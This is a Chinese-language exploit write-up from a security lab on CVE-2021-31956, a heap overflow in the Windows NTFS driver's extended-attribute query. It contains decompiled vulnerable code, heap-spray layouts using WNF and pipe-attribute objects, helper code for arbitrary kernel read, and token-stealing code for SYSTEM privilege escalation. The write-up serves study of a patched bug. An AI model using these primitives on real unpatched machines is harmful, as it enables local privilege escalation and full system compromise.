作者:京東安全 Dawn Security Lab
原文鏈接:https://dawnslab.jd.com/CVE-2021-31956/

概述

CVE-2021-31956是微軟2021年6月份披露的一個內核堆溢出漏洞,攻擊者可以利用此漏洞實現本地權限提升,nccgroup的博客已經進行了詳細的利用分析,不過并沒有貼出exploit的源代碼。

本篇文章記錄一下自己學習windows exploit的過程,使用的利用技巧和nccgroup提到的大同小異,僅供學習參考。

漏洞定位

漏洞定位在windows的NTFS文件系統驅動上(C:\Windows\System32\drivers\ntfs.sys),NTFS文件系統允許為每一個文件額外存儲若干個鍵值對屬性,稱之為EA(Extend Attribution) 。從微軟的開發文檔上可以查出,有一些系統調用是用來處理鍵值對的讀寫操作。

// 為文件創建EA
NTSTATUS ZwSetEaFile(
  [in]  HANDLE           FileHandle,
  [out] PIO_STATUS_BLOCK IoStatusBlock,
  [in]  PVOID            Buffer,
  [in]  ULONG            Length
);
// 查詢文件EA
NTSTATUS ZwQueryEaFile(
  [in]           HANDLE           FileHandle,
  [out]          PIO_STATUS_BLOCK IoStatusBlock,
  [out]          PVOID            Buffer, // PFILE_FULL_EA_INFORMATION
  [in]           ULONG            Length,
  [in]           BOOLEAN          ReturnSingleEntry,
  [in, optional] PVOID            EaList, // PFILE_GET_EA_INFORMATION
  [in]           ULONG            EaListLength,
  [in, optional] PULONG           EaIndex,
  [in]           BOOLEAN          RestartScan
);

typedef struct _FILE_GET_EA_INFORMATION {
  ULONG NextEntryOffset;
  UCHAR EaNameLength;
  CHAR  EaName[1];
} FILE_GET_EA_INFORMATION, *PFILE_GET_EA_INFORMATION;

typedef struct _FILE_FULL_EA_INFORMATION {
  ULONG  NextEntryOffset;
  UCHAR  Flags;
  UCHAR  EaNameLength;
  USHORT EaValueLength;
  CHAR   EaName[1];
} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;

如下是查詢EA的系統調用實現,查詢時接收一個用戶傳入的字典的key集合eaList,將查詢到的鍵值對寫入到output_buffer。每次寫完一個鍵值對,需要四字節對齊,函數內部維護了一個變量padding_length用來指示每次向output_buffer寫入時需要額外填充的數據長度,同時維護了一個變量為output_buffer_length用來記錄output_buffer剩余的可用空間。但是在【A】處寫入鍵值對時并沒有檢查output_buffer_length是否大于padding_length,兩個uint32相減以后發生整數溢出繞過檢查,在后面memmove的時候實現任意長度,任意內容越界寫。

_QWORD *__fastcall NtfsQueryEaUserEaList(_QWORD *a1, FILE_FULL_EA_INFORMATION *ea_blocks_for_file, __int64 a3, __int64 output_buffer, unsigned int output_buffer_length, PFILE_GET_EA_INFORMATION eaList, char a7)
{
  int v8; // edi
  ULONG eaList_iter; // ebx
  unsigned int padding_length; // er15
  PFILE_GET_EA_INFORMATION current_ea; // r12
  ULONG v12; // er14
  UCHAR v13; // r13
  PFILE_GET_EA_INFORMATION i; // rbx
  unsigned int output_idx_; // ebx
  FILE_FULL_EA_INFORMATION *output_iter; // r13
  unsigned int current_ea_output_length; // er14
  unsigned int v18; // ebx
  FILE_FULL_EA_INFORMATION *v20; // rdx
  char v21; // al
  ULONG next_iter; // [rsp+20h] [rbp-38h]
  unsigned int v23; // [rsp+24h] [rbp-34h] BYREF
  FILE_FULL_EA_INFORMATION *v24; // [rsp+28h] [rbp-30h]
  struct _STRING reqEaName; // [rsp+30h] [rbp-28h] BYREF
  STRING SourceString; // [rsp+40h] [rbp-18h] BYREF
  unsigned int output_idx; // [rsp+A0h] [rbp+48h]

  v8 = 0;
  *a1 = 0i64;
  v24 = 0i64;
  eaList_iter = 0;
  output_idx = 0;
  padding_length = 0;
  a1[1] = 0i64;
  while ( 1 )
  {
    current_ea = (PFILE_GET_EA_INFORMATION)((char *)eaList + eaList_iter);
    *(_QWORD *)&reqEaName.Length = 0i64;
    reqEaName.Buffer = 0i64;
    *(_QWORD *)&SourceString.Length = 0i64;
    SourceString.Buffer = 0i64;
    *(_QWORD *)&reqEaName.Length = current_ea->EaNameLength;
    reqEaName.MaximumLength = reqEaName.Length;
    reqEaName.Buffer = current_ea->EaName;
    RtlUpperString(&reqEaName, &reqEaName);
    if ( !NtfsIsEaNameValid(&reqEaName) )
      break;
    v12 = current_ea->NextEntryOffset;
    v13 = current_ea->EaNameLength;
    next_iter = current_ea->NextEntryOffset + eaList_iter;
    for ( i = eaList; ; i = (PFILE_GET_EA_INFORMATION)((char *)i + i->NextEntryOffset) )
    {
      if ( i == current_ea )
      {
        output_idx_ = output_idx;
        output_iter = (FILE_FULL_EA_INFORMATION *)(output_buffer + padding_length + output_idx);
        if ( NtfsLocateEaByName((__int64)ea_blocks_for_file, *(_DWORD *)(a3 + 4), &reqEaName, &v23) )
        {                                       // Find EA
          v20 = (FILE_FULL_EA_INFORMATION *)((char *)ea_blocks_for_file + v23);
          current_ea_output_length = v20->EaValueLength + v20->EaNameLength + 9;
          if ( current_ea_output_length <= output_buffer_length - padding_length )                   // 【A】
          {
            memmove(output_iter, v20, current_ea_output_length);
            output_iter->NextEntryOffset = 0;
            goto LABEL_8;
          }
        }
        else
        {                                       // EA not found??
          current_ea_output_length = current_ea->EaNameLength + 9;
          if ( current_ea_output_length + padding_length <= output_buffer_length )
          {
            output_iter->NextEntryOffset = 0;
            output_iter->Flags = 0;
            output_iter->EaNameLength = current_ea->EaNameLength;
            output_iter->EaValueLength = 0;
            memmove(output_iter->EaName, current_ea->EaName, current_ea->EaNameLength);
            SourceString.Length = reqEaName.Length;
            SourceString.MaximumLength = reqEaName.Length;
            SourceString.Buffer = output_iter->EaName;
            RtlUpperString(&SourceString, &SourceString);
            output_idx_ = output_idx;
            output_iter->EaName[current_ea->EaNameLength] = 0;
LABEL_8:
            v18 = current_ea_output_length + padding_length + output_idx_;
            output_idx = v18;
            if ( !a7 )
            {
              if ( v24 )
                v24->NextEntryOffset = (_DWORD)output_iter - (_DWORD)v24;
              if ( current_ea->NextEntryOffset )
              {
                v24 = output_iter;
                output_buffer_length -= current_ea_output_length + padding_length;
                padding_length = ((current_ea_output_length + 3) & 0xFFFFFFFC) - current_ea_output_length;
                goto LABEL_26;
              }
            }
...

漏洞分析

在具體介紹利用之前,需要先簡單了解一下windows的堆分配算法。Windows10引入了新的方式進行堆塊管理,稱為Segment Heap,有篇文章對此進行了詳細的描述。

每個堆塊有個堆頭用來記錄元信息,占據了16個字節,結構如下。

typedef struct {
    char previousSize;
    char poolIndex;
    char blockSize;
    char poolType;
    int tag;
    void* processBilled;
}PoolHeader;

相對偏移地址讀寫

這個漏洞里,越界對象output_buffer是系統臨時申請的堆塊,系統調用結束以后會被立即釋放,不能持久化保存,這導致SegmentHeap Aligned Chunk Confusion的方法在這里并不適用。 通過實驗發現windows在free時的檢查并不嚴格,通過合理控制越界內容,破壞掉下一個堆塊的PoolHeader以后,并不會觸發異常,這允許我們直接覆蓋下一個堆塊的數據,接下來的目標就是挑選合適的被攻擊堆塊對象。

通過查閱資料,我找到了一個用戶可以自定義大小的結構體_WNF_STATE_DATA。關于WNF的實際用法,微軟并沒有提供官方的說明文檔,這里不展開介紹,只用把它理解成一個內核實現的數據存儲器即可。通過NtCreateWnfStateName創建一個WNF對象實例,實例的數據結構為_WNF_NAME_INSTANCE;通過NtUpdateWnfStateData可以往對象里寫入數據,使用_WNF_STATE_DATA數據結構存儲寫入的內容;通過NtQueryWnfStateData可以讀取之前寫入的數據,通過NtDeleteWnfStateData可以釋放掉這個對象。

//0xa8 bytes (sizeof)
struct _WNF_NAME_INSTANCE
{
    struct _WNF_NODE_HEADER Header;                                         //0x0
    struct _EX_RUNDOWN_REF RunRef;                                          //0x8
    struct _RTL_BALANCED_NODE TreeLinks;                                    //0x10
    struct _WNF_STATE_NAME_STRUCT StateName;                                //0x28
    struct _WNF_SCOPE_INSTANCE* ScopeInstance;                              //0x30
    struct _WNF_STATE_NAME_REGISTRATION StateNameInfo;                      //0x38
    struct _WNF_LOCK StateDataLock;                                         //0x50
    struct _WNF_STATE_DATA* StateData;                                      //0x58
    ULONG CurrentChangeStamp;                                               //0x60
    VOID* PermanentDataStore;                                               //0x68
    struct _WNF_LOCK StateSubscriptionListLock;                             //0x70
    struct _LIST_ENTRY StateSubscriptionListHead;                           //0x78
    struct _LIST_ENTRY TemporaryNameListEntry;                              //0x88
    struct _EPROCESS* CreatorProcess;                                       //0x98
    LONG DataSubscribersCount;                                              //0xa0
    LONG CurrentDeliveryCount;                                              //0xa4
};
struct _WNF_STATE_DATA
{
    struct _WNF_NODE_HEADER Header;                                         //0x0
    ULONG AllocatedSize;                                                    //0x4
    ULONG DataSize;                                                         //0x8
    ULONG ChangeStamp;                                                      //0xc
};

舉例說明,WNF數據在內核里的保存方式如下所示

1: kd> dd ffffdd841d4b6850
ffffdd84`1d4b6850  0b0c0000 20666e57 25a80214 73ca76c5      // PoolHeader 0x10個字節
ffffdd84`1d4b6860  00100904 000000a0 000000a0 00000001      // _WNF_STATE_DATA 數據結構,用戶數據的長度為0xa0 0x10個字節
ffffdd84`1d4b6870  61616161 61616161 61616161 61616161      // WNF數據
ffffdd84`1d4b6880  61616161 61616161 61616161 61616161
ffffdd84`1d4b6890  61616161 61616161 61616161 61616161
ffffdd84`1d4b68a0  61616161 61616161 61616161 61616161
ffffdd84`1d4b68b0  61616161 61616161 61616161 61616161
ffffdd84`1d4b68c0  61616161 61616161 61616161 61616161

通過噴堆,控制堆布局如下,NtFE是可以越界寫的 chunk,后面緊挨著的是_WNF_STATE_DATA數據結構。越界修改結構體里的DataSize對象,接下來調用NtQueryWnfStateData實現相對偏移地址讀寫。

0: kd> g
Breakpoint 1 hit
Ntfs!NtfsQueryEaUserEaList:
fffff802`3d2a8990 4c894c2420      mov     qword ptr [rsp+20h],r9
1: kd> !pool r9
Pool page ffffdd841d4b67a0 region is Paged pool
 ffffdd841d4b6010 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b60d0 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6190 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6250 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6310 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b63d0 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6490 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6550 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6610 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b66d0 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
*ffffdd841d4b6790 size:   c0 previous size:    0  (Allocated) *NtFE
        Pooltag NtFE : Ea.c, Binary : ntfs.sys
 ffffdd841d4b6850 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6910 size:   c0 previous size:    0  (Free)       ....
 ffffdd841d4b69d0 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6a90 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6b50 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6c10 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6cd0 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6d90 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6e50 size:   c0 previous size:    0  (Free)       ....
 ffffdd841d4b6f10 size:   c0 previous size:    0  (Free)       ....

被篡改過后的_WNF_STATE_DATA 數據結構

1: kd> dd ffffdd841d4b6850
ffffdd84`1d4b6850  030c0000 41414141 00000000 00000000  // 偽造的PoolHeader
ffffdd84`1d4b6860  00000000 0000ffff 000003cc 00000000  // 偽造的_WNF_STATE_DATA,將用戶數據長度改為了0x3cc
ffffdd84`1d4b6870  61616161 61616161 61616161 61616161
ffffdd84`1d4b6880  61616161 61616161 61616161 61616161
ffffdd84`1d4b6890  61616161 61616161 61616161 61616161
ffffdd84`1d4b68a0  61616161 61616161 61616161 61616161
ffffdd84`1d4b68b0  61616161 61616161 61616161 61616161
ffffdd84`1d4b68c0  61616161 61616161 61616161 61616161

接下來講述如何將相對偏移讀寫轉換為任意地址讀寫。

任意地址讀

我們需要使用到另外一個數據結構PipeAttribution,和WNF類似,這個對象可以自定義大小。這里兩個指針AttributeName、AttributeValue 正常情況下是指向PipeAttribute.data[]后面的,如果通過堆布局,將AttributeValue的指針該為任意地址,就可以實現任意地址讀。遺憾的是,windows并沒有提供直接更新該數據結構的功能,不能通過該方法進行任意地址寫。

struct PipeAttribute {
    LIST_ENTRY list;
    char * AttributeName;
    uint64_t AttributeValueSize ;
    char * AttributeValue ;
    char data [0];
};
typedef struct {
    HANDLE read;
    HANDLE write;
} PIPES;
// 初始化pipe
void pipe_init(PIPES* pipes) {
    if (!CreatePipe(&pipes->read, &pipes->write, NULL, 0x1000)) {
        printf("createPipe fail\n");
        return 1;
    }
    return 0;
}
// 寫入PipeAttribution
int pipe_write_attr(PIPES* pipes, char* name, void* value, int total_size) {
    size_t length = strlen(name);
    memcpy(tmp_buffer, name, length + 1);
    memcpy(tmp_buffer + length + 1, value, total_size - length - 1);
    IO_STATUS_BLOCK  statusblock;
    char output[0x100];
    int mystatus = NtFsControlFile(pipes->write, NULL, NULL, NULL,
        &statusblock, 0x11003C, tmp_buffer, total_size,
        output, sizeof(output));
    if (!NT_SUCCESS(mystatus)) {
        printf("pipe_write_attr fail 0x%x\n", mystatus);
        return 1;
    }
    return 0;
}
// 讀取PipeAttribution
int pipe_read_attr(PIPES* pipes, char* name, char* output,int size) {
    IO_STATUS_BLOCK statusblock;
    int mystatus = NtFsControlFile(pipes->write, NULL, NULL, NULL,
        &statusblock, 0x110038, name,strlen(name)+1,
        output, size);
    if (!NT_SUCCESS(mystatus)) {
        printf("pipe_read_attr fail 0x%x\n", mystatus);
        return 1;
    }
    return 0;
}

理想情況下的堆布局如下所示,ffffdd841d4b6850是之前被覆蓋的_WNF_STATE_DATA對象,其余的chunk被釋放,然后使用PipeAttribution對象堆噴重新占回。

1: kd> !pool ffffdd841d4b6850
Pool page ffffdd841d4b6850 region is Paged pool
 ffffdd841d4b6010 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b60d0 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b6190 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b6250 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b6310 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b63d0 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b6490 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b6550 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b6610 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b66d0 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b6790 size:   c0 previous size:    0  (Free)       NpAt
*ffffdd841d4b6850 size:   c0 previous size:    0  (Allocated) *AAAA
        Owning component : Unknown (update pooltag.txt)
 ffffdd841d4b6910 size:   c0 previous size:    0  (Allocated)  NpAt  // 被攻擊的數據結構
 ffffdd841d4b69d0 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b6a90 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b6b50 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b6c10 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b6cd0 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b6d90 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b6e50 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b6f10 size:   c0 previous size:    0  (Free)       NpAt
1: kd> dq ffffdd841d4b6910 
ffffdd84`1d4b6910  7441704e`030c0000 00000000`00000000              // PoolHeader
ffffdd84`1d4b6920  ffffdd84`1c8e6cb0 ffffdd84`1c8e6cb0              // list
ffffdd84`1d4b6930  ffffdd84`1d4b6948 00000000`00000078              // AttributeName AttributeValueSize 
ffffdd84`1d4b6940  ffffdd84`1d4b6950 00313330`315f6161              // AttributeValue
ffffdd84`1d4b6950  61616161`00000407 61616161`61616161
ffffdd84`1d4b6960  61616161`61616161 61616161`61616161
ffffdd84`1d4b6970  61616161`61616161 61616161`61616161
ffffdd84`1d4b6980  61616161`61616161 61616161`61616161

根據上面講述的方法實現任意地址讀函數

int ab_read(void* addr, void* dst, int size) {
    WNF_CHANGE_STAMP stamp;
    char readData[0x400];
    ULONG readDataSize = sizeof(readData);
    NTSTATUS st;
    static char wtf_buf[0x1000];
    st = NtQueryWnfStateData(oobst, 0, 0, &stamp, readData, &readDataSize);
    if (!NT_SUCCESS(st)) {
        DEBUG("NtQueryWnfStateData fail %x\n", st);
        return 1;
    }
    PipeAttr* pa = (PipeAttr*)(readData + CHUNK_SIZE);
    pa->value = addr;
    if (size < 0x20)
        pa->value_len = 0x100;
    else
        pa->value_len = size;
    st = NtUpdateWnfStateData(oobst, readData, readDataSize, 0, 0, 0, 0);
    if (!NT_SUCCESS(st)) {
        DEBUG("NtQueryWnfStateData fail %x\n", st);
        return 1;
    }
    if (pipe_read_attr(&pipes, attackName, wtf_buf, sizeof(wtf_buf))) {
        return 1;
    }
    memcpy(dst, wtf_buf, size);
    return 0;
}

任意地址寫

我通過修改_WNF_NAME_INSTANCE結構體內的指針_WNF_STATE_DATA實現任意地址寫。具體操作是再次釋放掉原來的PipeAttribution,使用_WNF_NAME_INSTANCE重新進行堆噴,布局好的堆如下所示

1: kd> !pool ffffdd841d4b6850
Pool page ffffdd841d4b6850 region is Paged pool
 ffffdd841d4b6010 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b60d0 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6190 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6250 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6310 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b63d0 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6490 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6550 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6610 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b66d0 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6790 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
*ffffdd841d4b6850 size:   c0 previous size:    0  (Allocated) *AAAA
        Owning component : Unknown (update pooltag.txt)
 ffffdd841d4b6910 size:   c0 previous size:    0  (Allocated)  NpAt
 ffffdd841d4b69d0 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0 // 被修改_WNF_STATE_DATA指針的WNF對象
 ffffdd841d4b6a90 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6b50 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6c10 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6cd0 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6d90 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6e50 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6f10 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0

通過局部地址讀寫,覆蓋掉下一個Wnf結構體(ffffdd841d4b69d0 )里的_WNF_STATE_DATA,使用對應的結構體進行NtUpdateWnfStateData操作,即可實現任意地址寫。

Windows權限提升

windows權限提升的方法一般都是遍歷進程鏈表,找到高權限進程的token(8字節),替換當前進程的token。

// 循環遍歷進程鏈表,搜索process_id為4的進程,讀取其token
  ULONGLONG token_addr = eprocess + token_offset;
    UCHAR* begin_eprocess = eprocess;
    while (1) {
        ULONGLONG process_id;
        ab_read(eprocess + process_id_offset, &process_id, 8);
        if (process_id == 4) {
            break;
        }
        UCHAR* tmp;
        ab_read(eprocess + link_offset, &tmp, 8);
        tmp -= link_offset;
        if (tmp == begin_eprocess) {
            break;
        }
        eprocess = tmp;
    }
    ULONGLONG token;
    ab_read(eprocess + token_offset,&token, 8);
    DEBUG("system token %016llx\n", token);

最后執行cmd。

總結

該漏洞的觸發條件并不復雜,利用過程也比較簡單,雖然windows的堆分配已經有了很大的隨機化,但是大力出奇跡,很容易能夠得到理想的堆布局,本地實驗過程中的exp基本很少將系統打崩潰。寫exp的主要時間是在學習windows系統調用如何傳參,查閱了很多文檔才搞清楚WNF的用法。總體來說難度不大,非常適合初學者入門。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1798/